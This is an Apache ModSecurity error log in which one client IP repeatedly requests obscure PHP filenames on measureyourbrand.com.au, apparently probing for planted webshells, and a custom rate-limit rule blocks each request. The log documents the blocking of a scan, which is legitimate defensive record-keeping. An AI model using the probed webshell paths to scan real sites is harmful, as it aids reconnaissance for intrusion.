[Mon Apr 13 21:54:04.524047 2026] [:error] [pid 57183:tid 57190] [client 74.248.132.51:57178] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "adz1fDDO3t8R5NaxzYRluAAAAUU"]
[Mon Apr 13 21:54:06.322519 2026] [:error] [pid 7228:tid 7238] [client 74.248.132.51:7979] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "adz1fgEnn1dQrOSHHNWuiAAAAQg"]
[Mon Apr 13 21:54:08.351828 2026] [:error] [pid 9314:tid 9317] [client 74.248.132.51:7468] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "adz1gG_r4W8fX2GWyGQ6xQAAAYE"]
[Mon Apr 13 21:54:10.526294 2026] [:error] [pid 7228:tid 7254] [client 74.248.132.51:63947] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxeyc.php"] [unique_id "adz1ggEnn1dQrOSHHNWukgAAARg"]
[Mon Apr 13 21:54:11.576461 2026] [:error] [pid 63310:tid 63357] [client 74.248.132.51:55120] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxeyc.php"] [unique_id "adz1g3oXpRU5ztmwPjJquQAAAE0"]
[Mon Apr 13 21:54:12.296405 2026] [:error] [pid 57183:tid 57193] [client 74.248.132.51:63966] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxeyc.php"] [unique_id "adz1hDDO3t8R5NaxzYRlywAAAUg"]
[Mon Apr 13 21:54:13.281407 2026] [:error] [pid 57183:tid 57187] [client 74.248.132.51:7448] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxeyc.php"] [unique_id "adz1hTDO3t8R5NaxzYRlzQAAAUI"]
[Mon Apr 13 21:54:14.474726 2026] [:error] [pid 9314:tid 9330] [client 74.248.132.51:63953] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "adz1hm_r4W8fX2GWyGQ60AAAAY4"]
[Mon Apr 13 21:54:15.311110 2026] [:error] [pid 63311:tid 63385] [client 74.248.132.51:63968] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "adz1h6HjrGN1MqBCVFkW1QAAAI4"]
[Mon Apr 13 21:54:16.074517 2026] [:error] [pid 9314:tid 9328] [client 74.248.132.51:7951] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "adz1iG_r4W8fX2GWyGQ62AAAAYw"]
[Mon Apr 13 21:54:16.898763 2026] [:error] [pid 7228:tid 7231] [client 74.248.132.51:63957] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "adz1iAEnn1dQrOSHHNWuowAAAQE"]
[Mon Apr 13 21:54:18.113067 2026] [:error] [pid 7228:tid 7239] [client 74.248.132.51:63962] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adz1igEnn1dQrOSHHNWupgAAAQk"]
[Mon Apr 13 21:54:18.753264 2026] [:error] [pid 7228:tid 7245] [client 74.248.132.51:7986] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adz1igEnn1dQrOSHHNWuqQAAAQ8"]
[Mon Apr 13 21:54:19.616706 2026] [:error] [pid 7228:tid 7249] [client 74.248.132.51:57767] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adz1iwEnn1dQrOSHHNWuqwAAARM"]
[Mon Apr 13 21:54:20.193001 2026] [:error] [pid 57183:tid 57199] [client 74.248.132.51:7442] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adz1jDDO3t8R5NaxzYRl1wAAAU4"]
[Mon Apr 13 21:54:21.258844 2026] [:error] [pid 9314:tid 9333] [client 74.248.132.51:63990] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyflv.php"] [unique_id "adz1jW_r4W8fX2GWyGQ62QAAAZE"]
[Mon Apr 13 21:54:21.965356 2026] [:error] [pid 63310:tid 63359] [client 74.248.132.51:7990] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyflv.php"] [unique_id "adz1jXoXpRU5ztmwPjJqvwAAAE8"]
[Mon Apr 13 21:54:24.075207 2026] [:error] [pid 57183:tid 57208] [client 74.248.132.51:55151] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyflv.php"] [unique_id "adz1kDDO3t8R5NaxzYRl3wAAAVc"]
[Mon Apr 13 21:54:24.951839 2026] [:error] [pid 57183:tid 57204] [client 74.248.132.51:57213] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyflv.php"] [unique_id "adz1kDDO3t8R5NaxzYRl4wAAAVM"]
[Mon Apr 13 21:54:25.531732 2026] [:error] [pid 7228:tid 7240] [client 74.248.132.51:7939] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-942.php"] [unique_id "adz1kQEnn1dQrOSHHNWutAAAAQo"]
[Mon Apr 13 21:54:26.887815 2026] [:error] [pid 57183:tid 57204] [client 74.248.132.51:47272] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-942.php"] [unique_id "adz1kjDO3t8R5NaxzYRl7gAAAVM"]
[Mon Apr 13 21:54:27.626434 2026] [:error] [pid 63309:tid 63314] [client 74.248.132.51:57764] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-942.php"] [unique_id "adz1k0pIKZ10weXpf0U2zwAAAAE"]
[Mon Apr 13 21:54:28.435849 2026] [:error] [pid 57183:tid 57194] [client 74.248.132.51:47235] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-942.php"] [unique_id "adz1lDDO3t8R5NaxzYRl9QAAAUk"]
[Mon Apr 13 21:54:29.298627 2026] [:error] [pid 63406:tid 63415] [client 74.248.132.51:50048] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sde.php"] [unique_id "adz1lbHZEIkQ0Zmgp5rhlQAAAMQ"]
[Mon Apr 13 21:54:30.962745 2026] [:error] [pid 7228:tid 7238] [client 74.248.132.51:57745] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sde.php"] [unique_id "adz1lgEnn1dQrOSHHNWutgAAAQg"]
[Mon Apr 13 21:54:32.419482 2026] [:error] [pid 63406:tid 63421] [client 74.248.132.51:55054] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sde.php"] [unique_id "adz1mLHZEIkQ0Zmgp5rhogAAAMo"]
[Mon Apr 13 21:54:34.043259 2026] [:error] [pid 7228:tid 7239] [client 74.248.132.51:63961] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sde.php"] [unique_id "adz1mgEnn1dQrOSHHNWuvAAAAQk"]
[Mon Apr 13 21:54:35.928544 2026] [:error] [pid 63309:tid 63334] [client 74.248.132.51:55119] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpb.php"] [unique_id "adz1m0pIKZ10weXpf0U22gAAABU"]
[Mon Apr 13 21:54:37.416919 2026] [:error] [pid 63406:tid 63419] [client 74.248.132.51:57783] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpb.php"] [unique_id "adz1nbHZEIkQ0Zmgp5rhpQAAAMg"]
[Mon Apr 13 21:54:38.291473 2026] [:error] [pid 63310:tid 63350] [client 74.248.132.51:7963] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpb.php"] [unique_id "adz1nnoXpRU5ztmwPjJqywAAAEY"]
[Mon Apr 13 21:54:39.219700 2026] [:error] [pid 7228:tid 7254] [client 74.248.132.51:57201] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpb.php"] [unique_id "adz1nwEnn1dQrOSHHNWuwgAAARg"]
[Mon Apr 13 21:54:40.152072 2026] [:error] [pid 63406:tid 63434] [client 74.248.132.51:57199] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "adz1oLHZEIkQ0Zmgp5rhqgAAANc"]
[Mon Apr 13 21:54:40.883180 2026] [:error] [pid 63310:tid 63353] [client 74.248.132.51:51773] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "adz1oHoXpRU5ztmwPjJqzgAAAEk"]
[Mon Apr 13 21:54:41.622955 2026] [:error] [pid 57183:tid 57201] [client 74.248.132.51:47269] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "adz1oTDO3t8R5NaxzYRmEQAAAVA"]
[Mon Apr 13 21:54:43.182423 2026] [:error] [pid 9314:tid 9338] [client 74.248.132.51:51770] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "adz1o2_r4W8fX2GWyGQ68QAAAZY"]
[Mon Apr 13 21:54:44.436833 2026] [:error] [pid 57183:tid 57206] [client 74.248.132.51:7446] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adz1pDDO3t8R5NaxzYRmEwAAAVU"]
[Mon Apr 13 21:54:45.361493 2026] [:error] [pid 7228:tid 7235] [client 74.248.132.51:7457] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adz1pQEnn1dQrOSHHNWuzAAAAQU"]
[Mon Apr 13 21:54:46.821557 2026] [:error] [pid 7228:tid 7245] [client 74.248.132.51:55107] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adz1pgEnn1dQrOSHHNWu0gAAAQ8"]
[Mon Apr 13 21:54:47.600610 2026] [:error] [pid 57183:tid 57202] [client 74.248.132.51:7471] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adz1pzDO3t8R5NaxzYRmGAAAAVE"]
[Mon Apr 13 21:54:48.638752 2026] [:error] [pid 63310:tid 63367] [client 74.248.132.51:51762] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpxl.php"] [unique_id "adz1qHoXpRU5ztmwPjJq0wAAAFc"]
[Mon Apr 13 21:54:49.914342 2026] [:error] [pid 7228:tid 7252] [client 74.248.132.51:63974] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpxl.php"] [unique_id "adz1qQEnn1dQrOSHHNWu2gAAARY"]
[Mon Apr 13 21:54:52.200343 2026] [:error] [pid 63406:tid 63422] [client 74.248.132.51:55162] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpxl.php"] [unique_id "adz1rLHZEIkQ0Zmgp5rhywAAAMs"]
[Mon Apr 13 21:54:54.952461 2026] [:error] [pid 9314:tid 9321] [client 74.248.132.51:7430] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpxl.php"] [unique_id "adz1rm_r4W8fX2GWyGQ7AAAAAYU"]
[Mon Apr 13 21:55:08.260350 2026] [:error] [pid 63406:tid 63413] [client 74.248.132.51:54361] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adz1vLHZEIkQ0Zmgp5rh9AAAAMI"]
[Mon Apr 13 21:55:09.897557 2026] [:error] [pid 57183:tid 57204] [client 74.248.132.51:7977] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adz1vTDO3t8R5NaxzYRmMwAAAVM"]
[Mon Apr 13 21:55:11.542593 2026] [:error] [pid 63406:tid 63412] [client 74.248.132.51:47266] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adz1v7HZEIkQ0Zmgp5rh9QAAAME"]
[Mon Apr 13 21:55:13.342957 2026] [:error] [pid 63309:tid 63335] [client 74.248.132.51:51720] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adz1wUpIKZ10weXpf0U3CQAAABY"]
[Mon Apr 13 21:55:14.201993 2026] [:error] [pid 57183:tid 57193] [client 74.248.132.51:55118] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "adz1wjDO3t8R5NaxzYRmPgAAAUg"]
[Mon Apr 13 21:55:16.123796 2026] [:error] [pid 9314:tid 9338] [client 74.248.132.51:63995] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "adz1xG_r4W8fX2GWyGQ7EwAAAZY"]
[Mon Apr 13 21:55:19.386988 2026] [:error] [pid 63406:tid 63419] [client 74.248.132.51:51775] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "adz1x7HZEIkQ0Zmgp5rh_AAAAMg"]
[Mon Apr 13 21:55:21.592785 2026] [:error] [pid 9314:tid 9338] [client 74.248.132.51:51738] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "adz1yW_r4W8fX2GWyGQ7HgAAAZY"]
[Mon Apr 13 21:55:22.502975 2026] [:error] [pid 63309:tid 63317] [client 74.248.132.51:7180] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adz1ykpIKZ10weXpf0U3CwAAAAQ"]
[Mon Apr 13 21:55:23.361902 2026] [:error] [pid 7228:tid 7238] [client 74.248.132.51:51761] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adz1ywEnn1dQrOSHHNWu9QAAAQg"]
[Mon Apr 13 21:55:24.173427 2026] [:error] [pid 7228:tid 7236] [client 74.248.132.51:61447] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adz1zAEnn1dQrOSHHNWu-gAAAQY"]
[Mon Apr 13 21:55:25.098874 2026] [:error] [pid 63311:tid 63372] [client 74.248.132.51:57181] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adz1zaHjrGN1MqBCVFkXAQAAAIE"]
